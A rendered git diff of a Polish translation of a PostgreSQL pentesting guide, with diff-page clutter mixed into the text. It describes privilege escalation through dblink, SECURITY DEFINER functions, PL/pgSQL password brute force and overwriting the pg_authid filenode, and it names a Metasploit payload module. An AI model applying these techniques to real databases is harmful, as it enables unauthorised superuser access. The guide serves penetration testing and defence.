Jeśli masz hasło użytkownika z większymi uprawnieniami, ale użytkownik nie ma uprawnień do logowania z zewnętrznego adresu IP, możesz użyć poniższej funkcji do wykonywania zapytań jako ten użytkownik:
|
||||
Jeśli masz hasło użytkownika z większymi uprawnieniami, ale użytkownik nie ma uprawnień do logowania się z zewnętrznego adresu IP, możesz użyć następującej funkcji do wykonywania zapytań jako ten użytkownik:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=someuser
|
||||
|
|
@ -701,7 +712,7 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
Jak [**wyjaśniono w dokumentacji**](https://www.postgresql.org/docs/current/sql-createfunction.html) funkcja z **DEFINER BEZPIECZEŃSTWA jest wykonywana** z uprawnieniami **użytkownika, który ją posiada**. Dlatego jeśli funkcja jest **podatna na Wstrzyknięcie SQL** lub wykonuje **uprzywilejowane działania z parametrami kontrolowanymi przez atakującego**, może być nadużyta do **podwyższenia uprawnień wewnątrz postgres**.
|
||||
Jak [**wyjaśniono w dokumentacji**](https://www.postgresql.org/docs/current/sql-createfunction.html) funkcja z **DEFINER BEZPIECZEŃSTWA jest wykonywana** z uprawnieniami **użytkownika, który ją posiada**. Dlatego jeśli funkcja jest **podatna na Wstrzyknięcie SQL** lub wykonuje **uprzywilejowane działania z parametrami kontrolowanymi przez atakującego**, może być nadużyta do **podniesienia uprawnień wewnątrz postgres**.
|
||||
|
||||
W linii 4 poprzedniego kodu widać, że funkcja ma flagę **DEFINER BEZPIECZEŃSTWA**.
|
||||
```sql
|
||||
|
|
@ -713,33 +724,35 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Przełamanie hasła za pomocą PL/pgSQL
|
||||
### Przełam hasło metodą Brute Force z użyciem PL/pgSQL
|
||||
|
||||
**PL/pgSQL** to **w pełni funkcjonalny język programowania**, który oferuje większą kontrolę proceduralną w porównaniu do SQL. Umożliwia korzystanie z **pętli** i innych **struktur kontrolnych** w celu ulepszenia logiki programu. Ponadto **polecenia SQL** i **triggery** mają zdolność wywoływania funkcji tworzonych za pomocą języka **PL/pgSQL**. Ta integracja pozwala na bardziej wszechstronne podejście do programowania baz danych i automatyzacji.\
|
||||
**Możesz nadużyć tego języka, aby poprosić PostgreSQL o przeprowadzenie ataku brutalnej siły na poświadczenia użytkowników.**
|
||||
**PL/pgSQL** to **w pełni funkcjonalny język programowania**, który oferuje większą kontrolę proceduralną w porównaniu do SQL. Umożliwia korzystanie z **pętli** i innych **struktur kontrolnych** w celu ulepszenia logiki programu. Ponadto **instrukcje SQL** i **triggery** mają zdolność wywoływania funkcji tworzonych przy użyciu języka **PL/pgSQL**. Ta integracja pozwala na bardziej wszechstronne podejście do programowania i automatyzacji bazy danych.\
|
||||
**Możesz nadużyć tego języka, aby poprosić PostgreSQL o przeprowadzenie ataku Brute Force na dane uwierzytelniające użytkowników.**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Przywłaszczenie przez nadpisanie wewnętrznych tabel PostgreSQL
|
||||
### Podwyższenie uprawnień poprzez nadpisanie wewnętrznych tabel PostgreSQL
|
||||
|
||||
{% hint style="info" %}
|
||||
Następujący wektor przywłaszczenia jest szczególnie przydatny w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
|
||||
Następujący wektor podwyższenia uprawnień jest szczególnie przydatny w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
|
||||
{% endhint %}
|
||||
|
||||
Jeśli możesz **czytać i pisać pliki serwera PostgreSQL**, możesz **stać się superużytkownikiem**, nadpisując filenode PostgreSQL na dysku, powiązany z wewnętrzną tabelą `pg_authid`.
|
||||
|
||||
Dowiedz się więcej o tej technice [tutaj](https://adeadfed.com/posts/updating-postgresql-data-without-update/).
|
||||
Dowiedz się więcej o **tej technice** [**tutaj**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
||||
|
||||
Kroki ataku to:
|
||||
|
||||
1. Uzyskaj katalog danych PostgreSQL
|
||||
2. Uzyskaj ścieżkę względną do filenode'a powiązanego z tabelą `pg_authid`
|
||||
2. Uzyskaj ścieżkę względną do filenode, powiązanego z tabelą `pg_authid`
|
||||
3. Pobierz filenode za pomocą funkcji `lo_*`
|
||||
4. Pobierz typ danych powiązany z tabelą `pg_authid`
|
||||
5. Użyj [Edytora Filenode PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); ustaw wszystkie flagi boolean `rol*` na 1 dla pełnych uprawnień.
|
||||
7. Ponownie przesłać zmieniony filenode za pomocą funkcji `lo_*` i nadpisać oryginalny plik na dysku
|
||||
8. *(Opcjonalnie)* Wyczyść pamięć podręczną tabeli w pamięci, uruchamiając kosztowne zapytanie SQL
|
||||
9. Powinieneś teraz mieć uprawnienia pełnego superadministratora.
|
||||
5. Użyj [Edytora Filenode PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); ustaw wszystkie flagi boolean `rol*` na 1 dla pełnych uprawnień.
|
||||
6. Ponownie przesłać zmieniony filenode za pomocą funkcji `lo_*` i nadpisz oryginalny plik na dysku
|
||||
7. _(Opcjonalnie)_ Wyczyść pamięć podręczną tabeli, uruchamiając kosztowne zapytanie SQL
|
||||
8. Teraz powinieneś mieć uprawnienia pełnego superadministratora.
|
||||
|
||||
## **POST**
|
||||
```
|
||||
|
|
@ -751,7 +764,7 @@ msf> use exploit/windows/postgres/postgres_payload
|
|||
```
|
||||
### logowanie
|
||||
|
||||
Wewnątrz pliku _**postgresql.conf**_ można włączyć logi postgresql, zmieniając:
|
||||
Wewnątrz pliku _**postgresql.conf**_ możesz włączyć logi postgresql, zmieniając:
|
||||
```bash
|
||||
log_statement = 'all'
|
||||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||||
|
|
@ -760,7 +773,7 @@ sudo service postgresql restart
|
|||
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
||||
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
||||
```
|
||||
Następnie, **uruchom usługę**.
|
||||
Następnie **uruchom usługę**.
|
||||
|
||||
### pgadmin
|
||||
|
||||
|
|
@ -775,6 +788,6 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
Autoryzacja klienta w PostgreSQL jest zarządzana za pomocą pliku konfiguracyjnego o nazwie **pg_hba.conf**. Ten plik zawiera serię rekordów, z których każdy określa typ połączenia, zakres adresów IP klienta (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania do użycia w celu dopasowania połączeń. Pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika, jest używany do uwierzytelniania. Nie ma żadnego mechanizmu zapasowego, jeśli uwierzytelnienie nie powiedzie się. Jeśli żaden rekord nie pasuje, dostęp jest odrzucany.
|
||||
Autoryzacja klienta w PostgreSQL jest zarządzana za pomocą pliku konfiguracyjnego o nazwie **pg\_hba.conf**. Ten plik zawiera serię rekordów, z których każdy określa typ połączenia, zakres adresów IP klienta (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania do użycia w celu dopasowania połączeń. Pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika, jest używany do uwierzytelniania. Nie ma żadnego mechanizmu zapasowego, jeśli uwierzytelnienie nie powiedzie się. Jeśli żaden rekord nie pasuje, dostęp jest odrzucany.
|
||||
|
||||
Dostępne metody uwierzytelniania oparte na haśle w pliku pg_hba.conf to **md5**, **crypt** i **password**. Te metody różnią się sposobem przesyłania hasła: zahaszowanego MD5, zaszyfrowanego crypt lub w postaci tekstu jawnego. Ważne jest zauważenie, że metoda crypt nie może być używana z hasłami, które zostały zaszyfrowane w pg_authid.
|
||||
Dostępne metody uwierzytelniania oparte na haśle w pliku pg\_hba.conf to **md5**, **crypt** i **password**. Te metody różnią się sposobem przesyłania hasła: zahaszowanego MD5, zaszyfrowanego crypt lub zwykłego tekstu. Ważne jest zauważenie, że metoda crypt nie może być używana z hasłami, które zostały zaszyfrowane w pg\_authid.
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
Loading…
Reference in a new issue